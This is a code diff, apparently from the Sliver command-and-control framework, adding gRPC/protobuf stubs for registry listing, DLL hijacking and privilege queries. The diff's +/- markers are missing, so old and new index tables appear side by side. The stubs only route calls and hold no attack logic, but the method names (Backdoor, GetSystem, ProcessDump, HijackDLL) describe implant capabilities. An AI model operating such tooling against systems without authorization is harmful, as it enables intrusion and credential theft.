87, // 122: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
88, // 123: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
89, // 124: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 125: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
13, // 126: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
90, // 127: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
91, // 128: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
92, // 129: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
93, // 130: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
16, // 131: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 132: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
16, // 133: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
16, // 134: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
16, // 135: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
19, // 136: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
94, // 137: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
95, // 138: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
96, // 139: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
97, // 140: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
98, // 141: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
99, // 142: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
99, // 143: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
100, // 144: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
101, // 145: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
102, // 146: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
103, // 147: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
104, // 148: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
105, // 149: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
106, // 150: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
107, // 151: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
108, // 152: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
109, // 153: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
0, // 154: rpcpb.SliverRPC.Msf:output_type -> commonpb.Empty
0, // 155: rpcpb.SliverRPC.MsfRemote:output_type -> commonpb.Empty
110, // 156: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
111, // 157: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
112, // 158: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
112, // 159: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
113, // 160: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
114, // 161: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
115, // 162: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
116, // 163: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
117, // 164: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
118, // 165: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
119, // 166: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
119, // 167: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
119, // 168: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
120, // 169: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
121, // 170: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
122, // 171: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
123, // 172: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
124, // 173: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
125, // 174: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
126, // 175: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
127, // 176: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
128, // 177: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
129, // 178: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
129, // 179: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
130, // 180: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
130, // 181: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
131, // 182: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
132, // 183: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
133, // 184: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
134, // 185: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
69, // 186: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 187: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
70, // 188: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
135, // 189: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
95, // [95:190] is the sub-list for method output_type
0, // [0:95] is the sub-list for method input_type
60, // 82: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
61, // 83: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
62, // 84: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
63, // 85: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
64, // 86: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
65, // 87: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
66, // 88: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
67, // 89: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
68, // 90: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
69, // 91: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
70, // 92: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
71, // 93: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
72, // 94: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
73, // 95: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
73, // 96: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
74, // 97: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 98: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
75, // 99: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
76, // 100: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
77, // 101: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
0, // 102: rpcpb.SliverRPC.KillSession:output_type -> commonpb.Empty
78, // 103: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
79, // 104: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 105: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
80, // 106: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
81, // 107: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
82, // 108: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
83, // 109: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
84, // 110: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
85, // 111: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
85, // 112: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
86, // 113: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
86, // 114: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
9, // 115: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 116: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
9, // 117: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
9, // 118: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
87, // 119: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
87, // 120: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
88, // 121: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
88, // 122: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
89, // 123: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 124: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
90, // 125: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
91, // 126: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
92, // 127: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
93, // 128: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 129: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
13, // 130: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
94, // 131: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
95, // 132: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
96, // 133: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
97, // 134: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
16, // 135: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 136: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
16, // 137: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
16, // 138: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
16, // 139: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
19, // 140: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
98, // 141: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
99, // 142: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
100, // 143: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
101, // 144: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
102, // 145: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
103, // 146: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
103, // 147: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
104, // 148: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
105, // 149: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
106, // 150: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
107, // 151: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
108, // 152: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
109, // 153: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
110, // 154: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
111, // 155: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
112, // 156: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
113, // 157: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
0, // 158: rpcpb.SliverRPC.Msf:output_type -> commonpb.Empty
0, // 159: rpcpb.SliverRPC.MsfRemote:output_type -> commonpb.Empty
114, // 160: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
115, // 161: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
116, // 162: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
116, // 163: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
117, // 164: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
118, // 165: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
119, // 166: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
120, // 167: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
121, // 168: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
122, // 169: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
123, // 170: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
123, // 171: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
123, // 172: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
124, // 173: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
125, // 174: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
126, // 175: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
127, // 176: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
128, // 177: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
129, // 178: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
130, // 179: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
131, // 180: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
132, // 181: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
133, // 182: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
134, // 183: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
135, // 184: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
136, // 185: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
137, // 186: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
137, // 187: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
138, // 188: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
138, // 189: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
139, // 190: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
140, // 191: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
141, // 192: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
142, // 193: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
73, // 194: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 195: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
74, // 196: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
143, // 197: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
99, // [99:198] is the sub-list for method output_type
0, // [0:99] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
+4
View File
@@ -112,7 +112,11 @@ service SliverRPC {
rpc RegistryRead(sliverpb.RegistryReadReq) returns (sliverpb.RegistryRead);
rpc RegistryWrite(sliverpb.RegistryWriteReq) returns (sliverpb.RegistryWrite);
rpc RegistryCreateKey(sliverpb.RegistryCreateKeyReq) returns (sliverpb.RegistryCreateKey);
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
// *** Wireguard Specific ***
rpc WGStartPortForward(sliverpb.WGPortForwardStartReq) returns (sliverpb.WGPortForward);
+144
View File
@@ -114,7 +114,11 @@ type SliverRPCClient interface {
RegistryRead(ctx context.Context, in *sliverpb.RegistryReadReq, opts ...grpc.CallOption) (*sliverpb.RegistryRead, error)
RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error)
RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error)
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
// *** Wireguard Specific ***
WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
@@ -879,6 +883,24 @@ func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.Re
return out, nil
}
func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) {
out := new(sliverpb.RegistrySubKeyList)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListSubKeys", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error) {
out := new(sliverpb.RegistryValuesList)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListValues", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error) {
out := new(sliverpb.SSHCommand)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunSSHCommand", in, out, opts...)
@@ -888,6 +910,24 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom
return out, nil
}
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) {
out := new(clientpb.DllHijack)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error) {
out := new(sliverpb.GetPrivs)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetPrivs", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
out := new(sliverpb.WGPortForward)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...)
@@ -1138,7 +1178,11 @@ type SliverRPCServer interface {
RegistryRead(context.Context, *sliverpb.RegistryReadReq) (*sliverpb.RegistryRead, error)
RegistryWrite(context.Context, *sliverpb.RegistryWriteReq) (*sliverpb.RegistryWrite, error)
RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error)
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
// *** Wireguard Specific ***
WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error)
WGStopPortForward(context.Context, *sliverpb.WGPortForwardStopReq) (*sliverpb.WGPortForward, error)
@@ -1408,9 +1452,21 @@ func (UnimplementedSliverRPCServer) RegistryWrite(context.Context, *sliverpb.Reg
func (UnimplementedSliverRPCServer) RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryCreateKey not implemented")
}
func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryListSubKeys not implemented")
}
func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) {
return nil, status.Errorf(codes.Unimplemented, "method RegistryListValues not implemented")
}
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
}
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
}
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
}
func (UnimplementedSliverRPCServer) WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error) {
return nil, status.Errorf(codes.Unimplemented, "method WGStartPortForward not implemented")
}
@@ -2936,6 +2992,42 @@ func _SliverRPC_RegistryCreateKey_Handler(srv interface{}, ctx context.Context,
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryListSubKeys_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistrySubKeyListReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegistryListSubKeys(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegistryListSubKeys",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryListSubKeys(ctx, req.(*sliverpb.RegistrySubKeyListReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RegistryListValues_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RegistryListValuesReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).RegistryListValues(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/RegistryListValues",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryListValues(ctx, req.(*sliverpb.RegistryListValuesReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.SSHCommandReq)
if err := dec(in); err != nil {
@@ -2954,6 +3046,42 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.DllHijackReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).HijackDLL(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/HijackDLL",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.GetPrivsReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).GetPrivs(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/GetPrivs",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetPrivs(ctx, req.(*sliverpb.GetPrivsReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.WGPortForwardStartReq)
if err := dec(in); err != nil {
@@ -3516,10 +3644,26 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "RegistryCreateKey",
Handler: _SliverRPC_RegistryCreateKey_Handler,
},
{
MethodName: "RegistryListSubKeys",
Handler: _SliverRPC_RegistryListSubKeys_Handler,
},
{
MethodName: "RegistryListValues",
Handler: _SliverRPC_RegistryListValues_Handler,
},
{
MethodName: "RunSSHCommand",
Handler: _SliverRPC_RunSSHCommand_Handler,
},
{
MethodName: "HijackDLL",
Handler: _SliverRPC_HijackDLL_Handler,
},
{
MethodName: "GetPrivs",
Handler: _SliverRPC_GetPrivs_Handler,
},
{
MethodName: "WGStartPortForward",
Handler: _SliverRPC_WGStartPortForward_Handler,
+33 -3
View File
@@ -1,7 +1,7 @@
package sliverpb
import (
proto "github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
)
/*
@@ -20,9 +20,23 @@ import (
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// Message Name Constants
------------------------------------------------------------------------------------
██ ██ █████ ██████ ███ ██ ██ ███ ██ ██████
██ ██ ██ ██ ██ ██ ████ ██ ██ ████ ██ ██
██ █ ██ ███████ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ███
██ ███ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███ ███ ██ ██ ██ ██ ██ ████ ██ ██ ████ ██████
!!! The order of constants is APPEND ONLY !!!
If you insert values into this file it is very important that you only append the
order of the constants. If you do not you will break backwards compatibility with
implants.
*/
const (
@@ -228,6 +242,15 @@ const (
// MsgSSHCommandReq - Run a SSH command
MsgSSHCommandReq
// MsgGetPrivsReq - Get privileges (Windows)
MsgGetPrivsReq
// MsgRegistryListReq - List registry sub keys
MsgRegistrySubKeysListReq
// MsgRegistryListValuesReq - List registry values
MsgRegistryListValuesReq
)
// Constants to replace enums
@@ -450,6 +473,13 @@ func MsgNumber(request proto.Message) uint32 {
return MsgPollInterval
case *SSHCommandReq:
return MsgSSHCommandReq
case *GetPrivsReq:
return MsgGetPrivsReq
case *RegistrySubKeyListReq:
return MsgRegistrySubKeysListReq
case *RegistryListValuesReq:
return MsgRegistryListValuesReq
}
return uint32(0)
File diff suppressed because it is too large. Load diff
+52
View File
@@ -120,6 +120,8 @@ message Ls {
string Path = 1;
bool Exists = 2;
repeated FileInfo Files = 3;
string timezone = 4;
int32 timezoneOffset = 5;
commonpb.Response Response = 9;
}
@@ -128,6 +130,8 @@ message FileInfo {
string Name = 1;
bool IsDir = 2;
int64 Size = 3;
int64 ModTime = 4;
string Mode = 5;
}
message CdReq {
@@ -351,6 +355,7 @@ message SideloadReq {
string Args = 3;
string EntryPoint = 4;
bool Kill = 5;
bool isDLL = 6;
commonpb.Request Request = 9;
}
@@ -558,6 +563,32 @@ message RegistryCreateKey {
commonpb.Response Response = 9;
}
message RegistrySubKeyListReq {
string Hive = 1;
string Path = 2;
// Keep the same ID as the other registry operations
string Hostname = 4;
commonpb.Request Request = 9;
}
message RegistrySubKeyList {
repeated string Subkeys = 1;
commonpb.Response Response = 9;
}
message RegistryListValuesReq {
string Hive = 1;
string Path = 2;
// Keep the same ID as the other registry operations
string Hostname = 4;
commonpb.Request Request = 9;
}
message RegistryValuesList {
repeated string ValueNames = 1;
commonpb.Response Response = 9;
}
// Tunnel - Tunnel related messages
message Tunnel {
uint64 TunnelID = 8 [jstype = JS_STRING];
